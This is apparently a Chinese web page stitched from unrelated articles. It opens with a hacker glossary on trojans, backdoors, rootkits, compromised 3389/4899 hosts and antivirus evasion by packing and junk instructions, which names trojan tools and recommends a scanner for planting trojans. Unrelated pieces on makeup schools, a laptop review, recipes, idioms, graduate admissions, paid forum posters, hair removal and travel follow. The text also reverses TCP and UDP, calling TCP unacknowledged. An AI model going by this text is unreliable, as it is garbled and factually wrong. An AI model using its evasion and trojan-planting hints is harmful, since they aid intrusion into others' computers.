每天都有人问我，黑客是什么，黑客有什么术语，或者遇到黑客，我应该怎么做，我在这里也给感兴趣的朋友普及一点小知识，黑客有很多的术语，下面我会给大家介绍黑客经常用到的术语，同时也给感兴趣的朋友普及一些有关黑客的知识，以及学会保护自已的 *** 。

　　木马：就是那些表面上伪装成了正常的程序，但是当这些被程序运行时，就会获取系统的整个控制权限。有很多黑客就是热衷于使用木马程序来控制别人的电脑，比如灰鸽子，黑洞，PcShare等等。

　　网页木马：表面上伪装成普通的网页文件或是将而已的代码直接插入到正常的网页文件中，当有人访问时，网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。

　　挂马：就是在别人的网站文件里面放入网页木马或者是将代码潜入到对方正常的网页文件里，以使浏览者中马。

　　后门：这是一种形象的比喻，入侵者在利用某些 *** 成功的控制了目标主机后，可以在对方的系统中植入特定的程序，或者是修改某些设置。这些改动表面上是很难被察觉的，但是入侵者却可以使用相应的程序或者 *** 来轻易的与这台电脑建立连接，重新控制这台电脑，就好象是入侵者偷偷的配了一把主人房间的要是，可以随时进出而不被主人发现一样。通常大多数的特洛伊木马（Trojan Horse）程序都可以被入侵者用语 *** 后门（BackDoor）。

　　rootkit：rootkit是攻击者用来隐藏自己的行踪和保留root（根权限，可以理解成WINDOWS下的system或者管理员权限）访问权限的工具。通常，攻击者通过远程攻击的方式获得root访问权限，或者是先使用密码猜解（破解）的方式获得对系统的普通访问权限，进入系统后，再通过对方系统内存在的安全漏洞获得系统的root权限。然后，攻击者就会在对方的系统中安装rootkit，以达到自己长久控制对方的目的，rootkit与我们前边提到的木马和后门很类似，但远比它们要隐蔽，黑客守卫者就是很典型的rootkit，还有国内的ntroorkit等都是不错的rootkit工具。

　　IPC$：IPC$(Internet Process Connection) 是共享“命名管道”的资源，它是为了让进程间通信而开放的饿命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。

　　弱口令：指那些强度不够，容易被猜解的，类似123，abc这样的口令（密码）。

　　内网：通俗的讲就是局域网，比如网吧，校园网，公司内部网等都属于此类。查看IP地址如果是在以下三个范围之内的话，就说明我们是处于内网之中的：10.0.0.0—10.255.255.255，172.16.0.0—172.31.255.255，192.168.0.0—192.168.255.255 。

　　外网：直接连入INTERNET（互连网），可以与互连网上的任意一台电脑互相访问，IP地址不是保留IP（内网）IP地址。

　　端口：（Port）相当于一种数据的传输通道。用于接受某些数据，然后传输给相应的服务，而电脑将这些数据处理后，再将相应的恢复通过开启的端口传给对方。一般每一个端口的开放的偶对应了相应的服务，要关闭这些端口只需要将对应的服务关闭就可以了。

　　3389、4899肉鸡：3389是Windows终端服务（Terminal Services）所默认使用的端口号，该服务是微软为了方便 *** 管理员远程管理及维护服务器而推出的， *** 管理员可以使用远程桌面连接到 *** 上任意一台开启了终端服务的计算机上，成功登陆后就会象操作自己的电脑一样来操作主机了。这和远程控制软件甚至是木马程序实现的功能很相似，终端服务的连接非常稳定，而且任何杀毒软件都不会查杀，所以也深受黑客喜爱。黑客在入侵了一台主机后，通常都会想办法先添加一个属于自己的后门帐号，然后再开启对方的终端服务，这样，自己就随时可以使用终端服务来控制对方了，这样的主机，通常就会被叫做3389肉鸡。Radmin是一款非常优秀的远程控制软件，4899就是Radmin默认使用也经常被黑客当作木马来使用（正是这个原因，目前的杀毒软件也对Radmin查杀了）。有的人正在使用这个服务端口号。因为Radmin的控制功能非常强大，传输速度也比大多数木马快，而且又不被杀毒软件所查杀，所用Radmin管理远程电脑时使用的是空口令或者是弱口令，黑客就可以使用一些软件扫描 *** 上存在Radmin空口令或者弱口令的主机，然后就可以登陆上去远程控制对恶劣，这样被控制的主机通常就被成做4899肉鸡。

　　免杀：就是通过加壳、加密、修改特征码、加花指令等等技术来修改程序，使其逃过杀毒软件的查杀。

　　加壳：就是利用特殊的算法，将EXE可执行程序或者DLL动态连接库文件的编码进行改变（比如实现压缩、加密），以达到缩小文件体积或者加密程序编码，甚至是躲过杀毒软件查杀的目的。目前较常用的壳有UPX，ASPack、PePack、PECompact、UPack、免疫007、木马彩衣等等。

　　花指令：就是几句汇编指令，让汇编语句进行一些跳转，使得杀毒软件不能正常的判断病毒文件的构造。说通俗点就是”杀毒软件是从头到脚按顺序来查找病毒。如果我们把病毒的头和脚颠倒位置，杀毒软件就找不到病毒了。

　　使用防火墙（Firewall）是一种确保 *** 安全的 *** 。防火墙是指设置在不同 *** （如可信任的企业内部网和不可信的公共网）或 *** 安全域之间的一系列部件的组合。它是不同 *** 或 *** 安全域之间信息的惟一出入口，能根据企业的安全政策控制（允许、拒绝、监测）出入 *** 的信息流，且本身具有较强的抗攻击能力。它是提供信息安全服务，实现 *** 和信息安全的基础设施。

　　什么是肉鸡？

　　对于刚刚接触 *** 技术的菜鸟们，看到文章后，里面是不是常常提到肉鸡？其实肉鸡这个名词很好“肉鸡“简单理解为具有可以被入侵的机子也就是“被入侵者”（可以说是受害者，入侵者不会便宜肉鸡的），一般肉鸡是存有漏洞，才会被入侵的，被种了木马也是肉鸡，相信你有一点理解了吧，在以后的入侵中，“肉鸡”这个名词你自己会明白的。

　　什么是3389肉鸡

　　“3389肉鸡”是指开了 *** 端口：3389的机子，而这只机子正好可以入侵，所以可以叫3389肉鸡，虽然我的解释还不是那么的详细和清楚，它的概念可以怎么理解，到时你接触到它，你就会理解。

　　什么是端口？

　　端口是上网必备的，每个端口都有特殊的意义，如80端口，是我们浏览网页必备的， *** 也是要端口的，如果没有端口，我们就无法通信，以后我再加详细介绍。

　　什么是IP

　　IP可以说是每台机子的地址，就想每个家都有地址这样，在网上，IP是每台机子的地址，你可以通过查询IP，得到那个人在那里上网。当然IP也可以是冒充的，这我就暂时不介绍了，为了使Internet上的众多电脑主机在通信时能够相互识别，Internet上的每一台主机都分配有一个唯一的32位地址，该地址称为IP地址，也称作网际地址。IP地址由4个数组成，每个数可取值0～255，各数之间用一个点号“.”分开（如：202.103.8.46）。事实上，每个IP地址都是由 *** 号和主机号两部分组成的。 *** 号表明主机所联接的 *** ，主机号标识了该 *** 上特定的那台主机。

　　什么是特洛伊木马

　　“特洛伊木马”（trojan horse）简称“木马”，如今黑客程序借用其名，有“一经潜入，后患无穷”之意。

　　完整的木马程序一般由两个部份组成：一个是服务器程序，一个是控制器程序。“中了木马”就是指安装了木马的服务器程序，若你的电脑被安装了服务器程序，则拥有控制器程序的人就可以通过 *** 控制你的电脑、为所欲为，这时你电脑上的各种文件、程序，以及在你电脑上使用的帐号、密码就无安全可言了。

　　木马程序不能算是一种病毒，但越来越多的新版的杀毒软件，已开始可以查杀一些木马了，所以也有不少人称木马程序为黑客病毒。

　　什么是扫描器

　　扫描器是一种自动检测远程或本地主机安全性弱点的程序，通过使用扫描器你可以不留痕迹的发现远程服务器的各种TCP端口（什么是TCP端口，我会介绍）的分配及提供的服务！和它们的软件版本！这就能让我们间接的或直观的了解到远程主机所存在的安全问题。

　　扫描器能干什么？

　　扫描器并不是一个直接的攻击 *** 漏洞的程序！它仅仅能帮助我们发现目标机的某些内在的弱点,而这些现存的弱点可能是（请看清楚可能是，并非一定）破坏目标机安全关键，但是我想说明的是对于一个刚刚入们的黑客人来说这些数据对他来说无疑是一个毫无价值的数据 *** ！而对一个掌握和精通各种 *** 应用程序的漏洞的黑客来说这就不仅仅是一个简单的数据 *** ！他的价值远超过几百个有用的帐号！-------知识需要积累！

　　上面摘抄黑客书籍，为了让菜鸟更容易理解，我删除了一小部分。

　　在 *** 时代，一台没有连接到因特网的电脑只能被称做信息的孤岛。作为一名网民，在享受冲浪之乐时就要学会几招保护自己的技术。端口是个人电脑通往因特网世界的桥梁，只要我们掌握了监控端口的技术，就可以及时发现自己电脑中的安全隐患.

　　学过硬件设备知识的朋友一定都知道端口这个概念。电脑往往通过端口与外设进行通信，比如我们常见的并口、串口都可以称为端口。但是在 *** 上的端口只是一个软件形式上的概念，互联网上一台电脑要进行多种服务如电子邮件、Web浏览等，为了让多种服务同时进行，便引入了端口这个概念。

　　各种服务采用不同的端口，分别提供不同的服务，比如：WWW采用80端口，FTP采用21端口等。这样，通过不同端口，计算机与外界进行互不干扰的通信。

　　根据提供服务类型的不同，端口分为两种：一种是TCP端口；另一种是UDP端口。计算机之间相互通信的时候，又分为两种方式：一种是发送信息以后，可以确认信息是否到达，也就是有应答的方式，这种方式大多采用UDP协议；一种是发送以后就不管了，不去确认信息是否到达，这种方式大多采用TCP协议。对应这两种协议的服务提供的端口，也就分为UDP端口和TCP端口说到这儿，就要理论结合实践一下了。笔者推荐一款 *** 端口查看器供你使用，你可去

　　下载。笔者在自己的电脑上打开了两款即时通信软件── *** 与MSN。然后进行扫描就可以发现 *** 使用的是UDP4000端口，而MSN则是使用TCP1474及1480端口。由此联想以前笔者遇到过MSN发消息对方收不到的情况，原来MSN使用的是TCP协议。TCP消息发出去后就不管了，而UDP则还要确认一下是否收到。细心的读者可以发现，使用MSN发消息很快，而有时用 *** 发送消息则比较慢，这就是因为 *** 还要等待对方的应答消息，另外从这个软件中我们也可以看出端口的编号是到65535为止。有兴趣的读者不妨多多使用这款软件，进一步了解常用 *** 通信软件的通信端口(比如Netmeeting等)。扫描之木马种植我建议新手用“啊D *** 工具包”，它是一个傻瓜化工具。20CN的扫描器也不错，只有十几K大小。

　　首先我们需要弄清楚什么是黑客，黑客是对技术人员的一种肯定，是个褒义词，体现了他们高超的技术和超越极限的能力。黑客精神并不是仅仅局限在软件与互联网这个行业中。在其他领域拥有较高成就和作出杰出贡献的人都可以称为黑客。大家常说的黑客，在真正的黑客眼中应该叫做骇客。他们利用技术手段来攻击别人，获取信息，满足自己的精神需求或物质需求。

　　1、编程

　　编程是最基础的技能，新手学习建议从Python开始。好多小白总感觉学编程得从C语言开始，其实没必要，语言只是工具，编程最核心的还是编程思想，要学会用计算机的思维去思考问题。在宋丹丹的小品中，有这么一个笑话，把大象装冰箱里需要几步。如果是真的开发一个程序去把大象装冰箱里，还真就得一步步都要考虑到，而且每一步操作，可能出现的异常都要充分考虑清楚，尽可能在程序中把可能出现的所有异常都要做出处理。语言都是一通百通，所以找一个相对容易入门的语言开始学就可以，不必纠结到底什么语言好。

　　2、熟练掌握常用的操作系统

　　Windows系统作为使用人数最多的操作系统，这个是必须要掌握的。其次就是Linux系统， 选择一个合适的发行版，开始学习就可以，例如：Ubuntu，CentOS。

　　3、学会 *** 建站所需的知识

　　网站的重要性就不需要多说了，要想成为一名黑客，不懂网站怎么可以。http、www、html、css、JavaScript等建站所需的技术都要会，这算是基本功。

　　4、必要的英语能力

　　这项不是必须，但是却很重要，因为很多的资料都是英文版的，英语好，可以在之一时间获取更多有价值的信息。

　　最后总结一下，要是成为心目的黑客大神，必须要会的内容还有很多，这里罗列的也就是基本功。除此之外，还要有较强的自学能力，有点问题就要问别人，自己不想办法解决，是不会走太远的。

　　现在学化妆晚吗？还有前途吗？这是很多想从事化妆行业人心中的顾虑。现在是个看脸的时代，很少能在路上看见真正的素颜，出门都要稍微画点妆，说明化妆在生活中很受欢迎。

　　

　　入行化妆师最顾虑的问题就是化妆前景！其实化妆是一门备受青睐的一个时尚职业，主要从日常化妆、新娘化妆、影视化妆到特效化妆，化妆技术的应用越来越广，化妆师的发展前景也越来

　　越好，对于喜欢化妆，想从事化妆师行业的爱好者来说，化妆师将是一个不错的职业规划。

　　随着人们生活水平提高，追求美的人也越来越多，审美水平也在同步提升。化妆造型的需求逐步从舞台蔓延到生活，从艺术表现手段演变为人人美化自我形象的手段。

　　

　　学一门技术，最主要的是自己感兴趣。将自己喜爱的事变成自己的工作，做起来也有动力。如果想学习化妆专业，成为一名化妆师的话。一定要明确自己是否热爱化妆，喜欢化妆。兴趣是最

　　好的老师只有真正的感兴趣你才会学好化妆，成为一名优秀的化妆师。

　　化妆师又以其时尚、收入高、社会需求量大、易就业的职业特点，受到喜爱时尚的人士尤其是年轻人的热烈追捧，相信随着市场的不断扩大，化妆造型师专业人才的需求量也必将越来越大，

　　学化妆的前途前景非常好。

　　俗话说，三百六十行，行行出状元。干哪一行都会有出路的。心态良好，技术过硬，经验丰富你就是这行的状元。化妆和别的行业有所不同，既然是想从事这个行业的，那么去一个较好的专

　　业培训学校进行专业的学习。

　　像是化妆行业，在十几年前我们根本看不到这个行业的影子，但是现在化妆行业已经融入到现在我们的日常生活当中，成为了现在生活的必不可少的一份子。有兴趣就付出行动，去了解，去行动。

　　

　　大连姝雅化妆培训学校，创校15年，始终秉承“我们不是给你一辈子的工作，而是给你一辈子工作的能力”为办学宗旨，以培养学生成才为目的，不断激发学生的创造力、研发力，持续培养

　　行业精英。让每一位学子成为自己人生路的主宰者！

　　同样的价格比价值

　　同样的价值拼实力

　　价值、价格都相同

　　比服务、比资历、比渠道、比团队！

　　成立十五载，专注所以我们更专业！

　　我们不是给你一辈子的工作，

　　而是给你一辈子工作的能力！

　　现在很多人都选择在在 *** 开店，但是新手卖家可能对于商品发布的规则还不是很清楚，以至于违规被 *** 处罚， *** 违规发布商品的类型都有哪些？今天我要跟大家分享的是都有哪种情况是属于违规发布商品。

　　在国内宏碁品牌拥有相当高的人气，首先这源于宏碁多年来十分关注学生这个庞大用户群的选购习惯。而作为学生这样的年轻用户群体，在预算上有限但又想拥有既美观又实用的笔记本，如何能够正确的看待笔记本的使用需求以及笔记本的各种复杂的配置，是选购到一款“合适”的产品的关键，宏碁E5系列笔记本就给出了一个令人满意的答卷。

　　目前在4000元左右这个位段上可供学生族购买的笔记本产品种类是最为繁多的，也是众多笔记本厂商大力推广高性价比产品的重点区域。为了进一步抢占学生市场，笔记本厂商在产品定位、外观设计和硬件搭配都下足了功夫，而这三点同时也是决定一款产品是否热卖的重要因素。

　　

　　学生本

　　顾名思义，学生笔记本主要是针对学生朋友的实际使用需求而推出的机型，产品的市场定位更多倾向于简单实用、硬件配置齐全和价格实惠。对于大部分学生朋友而言，出于资金的原因购买的预算一般都集中在4000元左右，如果按照这个价格来搜索的话，宏碁E5-573G这款多彩笔记本就拥有较高的关注度。

　　新款宏碁Aspire E5-573G最引人注意的还是在外观上的改变，这个名为“天然织物纹理”的外壳设计，采用了3D扫描/打印技术和激光蚀刻制造加工工艺，将天然的亚麻纹理扫描成数字文件，并由3D打印打印开模。

　　

　　宏碁E5-573G

　　“外黑内白”是目前一个比较流行的笔记本电脑配色方案，看上去还是很容易让人接受，并且也适用的人群和场合也比较广泛，是一个经典的设计。除此之外，E5-573G还是多种色彩的机型。

　　宏碁E5-573G的主要功能接口都分布在机身的左侧，上图由左至右依次是笔记本安全锁孔、散热出风口、VGA接口、RJ-45 *** 接口、2个USB 3.0 接口（其中一个支持关机充电技术），以及一个音频接口。而读卡器则配置在机身的前部。

　　

　　宏碁E5-573G

　　用来举例的宏碁E5-573G，具体型号为AcerE5-573G-56P4，配备了英特尔酷睿i5-5200U处理器，4GB内存，500GB硬盘容量，2GBDDR3显存的NVIDIAGeForce 940M独立显卡，15.6英寸显示屏。

　　

　　PCMARK 8 成绩

　　对整机硬件的综合性能测试我们选用PCMARK 8这款测试工具，由于是定位家用娱乐的产品，所以测试的模式为Home conventional，最终测试结果为2993分，属于市场的主流中端水平。

　　学生用机讲究的就是经济实惠，对比市面上在售的4000元左右笔记本，宏碁E5-573G的性价比在15.6英寸机型中表现还是比较突出的，外观方面的时尚感较为强烈，实用性和手感方面也令人满意。而不断升级的硬件配置也可以跟得上学生朋友日常的使用需求，可以满足玩游戏、看电影、听音乐和日常学习。

　　产品定位、外观设计和硬件搭配方面，决定着一个系列或是一款产品是否能赢得众多消费者的青睐，放眼望去，若多有几款宏碁E5-573G这样的学生机出现，学生笔记本市场必将为莘莘学子们提供更佳的产品与更卓越的应用体验。

　　女孩子都希望自己打扮得漂漂亮亮，但是总是觉得自己缺一个化妆师。因为自己老是画不好眉毛、涂不好眼影，就连口红都挑不好色号，其实不是你手残，只是你没有学会技巧罢了。眼睛作为心灵的窗户，是整个五官中尤为重要的，所以眼妆也是必不可少，get到正确的眼影涂法是非常重要的。看了以下几个技巧，手残党也能画好眼影，成功跻身女神行列。

　　1、挑选合适的眼影

　　

　　有些妹子刚开始画眼影，就买各种颜色的眼影来涂，结果是“乱炖”，没有仔细考虑自己适合什么样的眼影。如果是新手小白的话，建议开始买大地色或香槟色的眼影，这样比较保险，不会出错，更好选择哑光类型的，但如果你喜欢珠光型，也尽量买那种微珠光的。如果你是手残党的话，建议挑选一抹成型的眼影，即便不会画也可以速成。

　　2、学会打底

　　

　　眼妆也是需要打底的，但大部分人都不知道，而是直接在眼皮上涂自己喜欢的颜色，这会使得整个眼部看起来很脏，特别是在夏天，会给你的妆容减分。正确的 *** 是要先给眼皮打底，一般都会选择与肤色 相近的米色或大地色眼影，后续在加上别的颜色。

　　3、晕染非常重要

　　

　　晕染是画眼影中最为重要的一步，不用画的妹子可能会让自己的眼睛看起来像肿了一样。其实，你应该选择一深一浅的颜色混合画在双眼皮褶皱处，更好不要用手来涂，用眼影晕染刷涂抹更好不过了。然后，你在选择较深的颜色在眼尾处涂抹，尽量挑选不夸张的颜色，比如酒红色或深棕色，不要忘了，下眼尾处也要涂上相同的颜色。

　　4、最后再涂上带珠光眼影

　　

　　很多妹子都喜欢带珠光的眼影，可却不知怎么用，直接将其涂在整个眼部，但这是错误的做法。你应该在完成上述步骤后，再来加珠光，涂珠光的位置也十分讲究，不需要涂满，只要在眼尾与眼角处加上一点点就好了，涂太多的话会显得妆容非常厚重，也不清爽。

　　

　　眼影对于眼睛来说是很重要的，小仙女们平时可以靠画眼影来使眼睛更加有神，更加明亮，毕竟眼睛是心灵的窗户，有一双好看的眼睛会让人觉得很舒服。

　　八斗是南朝诗人谢灵运称颂三国魏诗人曹植时用的比喻。他说：天下才共一石，曹子建(曹植)独占八斗，我得一斗，天下共分一斗。后来人们便把才高八斗这个成语比喻文才高超的人。

　　故事概要：南朝宋国有谢灵运，是我国古代着名的山水诗作家。

　　

　　图片来源于 ***

　　他的诗，大都描写会(kuagrave;i)稽、永嘉、庐山等地的山水名胜，善于刻画自然景物，开创了文学史上的山水诗一派。他写的诗艺术性很强，尤其注意形式美，很受文人雅士的喜爱。诗篇一传出来，人们就竞相抄录，流传很广。宋文帝很赏识他的文学才能，特地将他召回京都任职，并把他的诗作和书法称为二宝，常常要他边侍宴，边写诗作文。一直自命不凡的谢灵运受到这种礼遇后，更加狂妄自大。有一次，他一边喝酒一边自夸道：魏晋以来，天下的文学之才共有一石(一种容量单位，一石等于十斗)，其中曹子建(即曹植)独占八斗，我得一斗，天下其他的人共分一斗。从他的话中可以看出，他除了佩服曹植以外，其他人的才华都不在他眼里，自我评价非常高。

　　南北朝时最着名的大诗人谢灵运曾言：天下才共一石(为我国古代容量单位，一石等于十斗)，曹子建独得八斗，我得一斗，自古及今共用一斗。由此，后世便称才学出众者为才高八斗或八斗之才。如唐李商隐的《可叹》中有：宓妃愁坐芝田馆，用尽陈王八斗才。唐徐夤的《献内翰杨侍郎》中有：欲言温暑三缄口，闲赋宫词八斗才等等。

　　趣历史官方微信号：qulilshi_v5

　　提示：谢灵运在用这个词语的时候，很是狂妄，而后来，这个成语却用来谦虚地称赞他人，所谓语境，在不同的环境里，语句意思会变，这个意思。

　　

　　学富五车学富五车，形容学问渊博。语本《庄子middot;天下》：惠施战国中期宋国(今河南商丘)人，战国时期着名的政治家、辩客和哲学家，是名家思想的开山鼻祖和主要代表人物。惠施是合纵抗秦的最主要的组织人和支持者，他主张魏国、齐国和楚国联合起来对抗秦国。

　　惠施的学问广博，他的文章斡旋五国兴衰，道术杂乱无章，言辞多有不当。他分析事物之一，说：大到极点而没有边际的，称为大一rsquo;小到极点而没有内核的，称为小一rsquo;没有厚度，不可累积，但能扩大到千里。天和地一样低，山和泽一样平。太阳刚刚正中的时候就偏斜，万物刚刚生出就向死亡转化。大同和小同相差异，这叫小同异rsquo;万物完全相同也完全相异，这叫大同异rsquo;南方既没有穷尽也有穷尽，今天到越国去而昨天已来到。连环可以解开。我所知的天下的中央，在燕国之北越国之南。泛爱万物，天地合为一体。

　　过年很多家里都买了腊肉，怎么吃才是不辜负？

　　可别因为样子黑黢黢，味道太咸，不会做而糟蹋了这独特的滋味。

　　之前我看过厨师长做的蒸双腊，是腊肉和腊肠一起蒸的，还是煮熟后再蒸。

　　煮过的腊肉，已经熟了，咸味减轻很多，空口吃就很不错了，就奇怪他为啥还要再蒸上个二十分钟呢？

　　但想想，又觉得人家一定不会多此一举，要不怎会是厨师长。

　　不嫌麻烦，照着先煮后蒸的办法做了，端出来趁热一尝，才知道是肉味更足了。

　　果然有门道，这是我吃过更好吃的腊肉，腊香肉香都更大化的发挥出来。

　　蒸前的先煮熟，也很重要，是既去咸味，肉更干净，还一起煮掉了一部分的油脂，健康不腻风味足。

　　蒸双腊是湘菜，类似腊味合蒸，你也可以将腊肉跟腊鱼、腊鸡一起，煮一煮蒸一蒸，无需技巧，也不要任何的调味料，上桌都腊香浓郁，显个厨艺呗过年。

　　其实，对于我这个徐州人来说，腊肉是陌生的，吃的不多，做的就更少了。

　　腊肠，倒是年年冬天都得自己灌点，只是我们都叫香肠。

　　徐州的大小菜市里，每年的一立冬，就开始有排队加工香肠的。所以早已是轻车熟路，专找那个口味好肉质好的，灌好拿回家挂阳台上晾干，再打包收入冰箱冻起来，能够吃到夏天的。

　　我今年灌了微甜味和麻辣味的两种，这道菜就是跟麻辣香肠搭配的，麻与辣味都很足，也算是与腊肉在滋味上的一个互补。

　　【梅干菜蒸双腊】

　　材料：腊肉130克，腊肠90克，泡发的梅干菜130克；大葱1小段，姜2片。

　　做法：提前抓一把干的梅干菜泡上，中间换水数次至漂清，至泡透泡开即可。可可给我的一袋梅干菜与笋干混合装，所以里面有少许白色的笋片。

　　腊肉与腊肠，放热水下冲洗干净，然后跟冷水一起下锅，煮开后转小火焖煮半小时，至用一根筷子能顺利的穿透腊肉即可。麻辣香肠的红油也给煮出来不少。

　　煮好的腊肉腊肠，捞出晾至不烫手了，就分别切成薄片，葱花姜末也切好。

　　锅中放少许油，热后加入葱花姜末炒出香味，然后放入腊肉腊肠片，慢慢炒至腊肉稍稍出油。得一直小火操作，以防将腊肉和腊肠炒焦了。

　　再放入梅干菜和笋片，翻炒均匀即可关火。

　　然后盛到一个深点的盘子里，放入蒸锅，蒸二十分钟，蒸的肉香味四溢即可。

　　小贴士：

　　不用放盐了，也无需放其它的调料，原汁原味才最美更好吃。这菜油脂不多，煮的那半小时，煮出不少的油脂，我撇出去了好几次，但香味不会受到任何影响，依然浓郁。

　　研究生录取类别分为定向就业和非定向就业两种，定向是啥？非定向是啥？两者有什么区别？适合什么考生？看完本篇你就知道了。

　　定向就业

　　定向，就是毕业后回定向单位就业。

　　指考生须在被录取前与招生单位、用人单位分别签订定向就业合同。毕业后回定向单位就业。只是在10月网上报名时需要填写“定向就业单位所在地、定向就业单位”，考生的档案、户口留在原地，不掉入学校。

　　非定向就业

　　非定向，就是不确定未来的工作单位。

　　指考生毕业时采取毕业研究生与用人单位“双向选择”的方式，落实就业去向。招生单位及所在地省级毕业生就业主管部门负责办理相关手续。

　　考生入学前是否转档案、户口，一看学校规定，二看个人意愿。

　　考生该如何选择

　　单独考试的考生：只能被录取为回原单位的定向就业硕士研究生。

　　少数民族骨干计划：少干计划既有全日制，也有非全日制，均为定向就业，毕业后回定向地区和单位就业。

　　管理类联考考生：全日制和非全日制，一般是选择非定向就业，除个别院校招生政策里明确说明选择定向还是非定向，报考时要看清院校政策。

　　两者有什么差别？

　　两者在考试内容、分数线划分、课程、证书获得上是一样的。在是否享有奖助学金、是否提供住宿、毕业后是否有派遣证及报到证上有一定的区别。主要看院校当年政策。

　　水军，在词典里本意是海军前称，在中国古代称舟师。而在网上的解释是指在论坛大量发帖的人员。

　　“ *** 水军”大多受雇于 *** 公关公司，为他人发帖回帖造势的 *** 人员。为客户发帖回帖造势常常需要成百上千个人共同完成，那些临时在网上征集来的发帖人被叫做“ *** 水军”。版主把主帖发出去后，获得最广大的“网民”的注意，进而营造出一个话题事件，所有 *** 公关公司都必须雇佣大批的人员来为客户发帖回帖造势。

　　“ *** 水军”分为专职和 *** 两种，但绝大多数的“水军”都是 *** 。其中以大学生和白领居多，也有一些无业人员参加。这类人群自由上网的时间很多，有利于完成“任务”。

　　

　　除了发帖、回帖的“零散水军”外，还有一些“正规水军”。这些人通常是一些网站的编辑。每当有企业需要发布一些带有广告色彩的文章的时候，他们就会找到一些网站的编辑，以每篇百余元的价格发布在网站上。与“零散水军”在论坛上发帖不同，“正规水军”的文章都是发布在网站的正规频道里。与论坛上的帖子相比，这样的“广告文章”显然更具权威。

　　发帖的内容由“水军”的组织者提供，一般由专业人士写好，主要是带有广告性质的文章。此外，还可以通过大量发帖，把一些负面信息“顶”下去，这被业内人士称为“沉帖”。选择“ *** 水军”推广的企业的类别也很广泛，涵盖了多种行业。

　　“ *** 水军”此前并不为大众所知，但其人数并不少，因为流动性太大。一些业内人士认为，全国的“水军”总数很难统计，很多“水军”都是做一阵子就休息。频繁活跃的“水军”至少有数万人。“水军”几乎都是为许多个不同的公司服务的，因此一些“水军”的网站、公司号称有“数万水军”也不足为奇。

　　

　　 *** 水军中专门有 *** 打手。只要接到指令，成千上万的 *** 打手就会针对同一个话题在论坛、博客上使用各种片面、偏激而具有扰乱视听功能的文字来诋毁竞争对手。也可以为新开发、新成立的 *** 产品（如网站、论坛、 *** 游戏等）恶意提高人气、吸引网民关注和参与。

　　一些想要提高流量的网站也会派水军去同类型的博客网站留言攻击，以期待将流量引入他们的网站。通常 *** 打手以谩骂、诽谤为主，语言多数比较夸张。 *** 打手通过不断发帖、跟帖，造成群体效应，并最终引导社会舆论。更有甚者，不少无良的 *** 水军被国外别有用心的机构和资本支持，不断在国内各大论坛发布和张贴攻击信息、造谣言论或挑拨语言，制造网民间的矛盾、进行不可告人的 *** 文化渗透。

　　脱毛前去角质 肌肤敏感变薄

　　一些女性认为在脱毛前去角质能够让后续的脱毛更加的彻底干净，殊不知含去角质或视黄醇的产品会让皮肤变薄，因为脆弱敏感，如果再进行脱毛，皮肤会严重脆化，甚至产生灼伤感。

　　

　　夏日千万别这样脱毛 危险度高

　　镊子拔毛 肌肤松弛爱留疤

　　用镊子能够将毛发从毛囊深处连根拔起，有“斩草除根”的效果，但拔毛一定要小心，如果太密集、太拉扯，对肌肤造成的伤害其实是很大的，它可能引起皮肤发红、发炎，导致色素沉淀、皮肤松弛，严重的人还会出现像鸡皮疙瘩一样的凸疤，影响美观。

　　蜜蜡脱毛 易引发毛囊炎

　　蜜蜡脱毛可以比较迅速地大面积脱毛，而且维持时间较久，但最长不超过8周。在脱毛过程中可能造成皮肤内毛根、毛囊的扭曲，导致毛发内生，容易继发毛囊炎或其他类型的皮肤感染。糖尿病、静脉曲张、痣、疣、皮肤破溃及炎症等病人不宜使用该法。

　　经期前后脱毛 疼痛加倍

　　经期是女性身体对疼痛最敏感的时期，脱毛会有强烈的疼痛感，这种疼痛感甚至会延伸到脱毛后。因为经期前后会产生荷尔蒙的变化，外界的给足 *** 都会影响血流量增强，备感疼痛。所以更好在例假过后进行蜜蜡除毛，更好在排卵期间脱毛。

　　美容院脱毛 卫生环境要慎选

　　如果你更倾向于美容院的脱毛技术，建议在选择美容院时多了解该院的环境和卫生，并确保美容师有洗手和更换操作台垫纸的习惯。

　　脱毛后不护理 红肿毛孔粗大

　　很多人在脱毛前都会做好各种准备工作，但是脱毛后的护理工作就不在乎了，脱毛结束后切忌用热水清洗，需用冷水清洗，能使刚刚扩张的毛孔缩小，镇定肌肤。清洗完毕后，迅速给肌肤补水，在脱毛后一个星期，勿用香皂等碱性洗护用品清洗。

　　情侣旅游去哪里呢？夫妻度蜜月去哪里旅游呢？哪里的旅游才能留下最美的印象，新婚夫妇旅游请看以下几个景区。

　　TOP1、云南丽江古城景区（ 世界遗产 5A景区 ）

　　丽江古城位于云南省丽江市古城区，又名大研镇，坐落在丽江坝中部，始建于宋末元初，地处云贵高原。丽江古城内的街道依山傍水修建，以红色角砾岩铺就，有四方街、木府、五凤楼等景点。丽江为第二批被批准的中国历史文化名城之一，是中国以整座古城申报世界文化遗产获得成功的两座古城之一。丽江古城有着多彩的地方民族习俗和娱乐活动，纳西古乐、东巴仪式、占卜文化、古镇酒吧以及纳西族火把节等，别具一格。丽江古城体现了中国古代城市建设的成就，是中国民居中具有鲜明特色和风格的类型之一。

　　TOP2、 *** 布达拉宫景区（ 世界遗产 5A景区 ）

　　布达拉宫坐落于于中国 *** 自治区 *** 市区西北玛布日山上，是世界上海拔较高，集宫殿、城堡和寺院于一体的宏伟建筑，也是 *** 较庞大、较完整的古代宫堡建筑群。布达拉宫前辟有布达拉宫广场，是世界上海拔较高的城市广场。布达拉宫是藏传佛教的圣地，每年至此的朝圣者及旅游观光客不计其数。1961年3月，国务院列为首批全国重点文物保护单位；1994年12月，联合国教科文组织列其为世界文化遗产；2013年1月，国家旅游局又列为国家AAAAA级旅游景区。

　　TOP3、凤凰古城旅游区（ 4A景区 ）

　　凤凰古城，建于清康熙四十三年（1704年）。 距铜仁凤凰机场27公里，张家界荷花国际机场280公里；G209国道，S308省道贯穿全境，枝柳铁路穿境而过。这里与吉首的德夯苗寨，永顺的猛洞河，贵州的梵净山相毗邻，是怀化、吉首、贵州铜仁三地之间的必经之路。湖南十大文化遗产之一。曾被新西兰作家路易·艾黎称赞为中国最美丽的小城，与云南丽江古城、山西平遥古城媲美，享有“北平遥，南凤凰”之名。是国家历史文化名城，国家AAAA级景区。

　　TOP4、厦门鼓浪屿风景名胜区（ 世界遗产 5A景区 ）

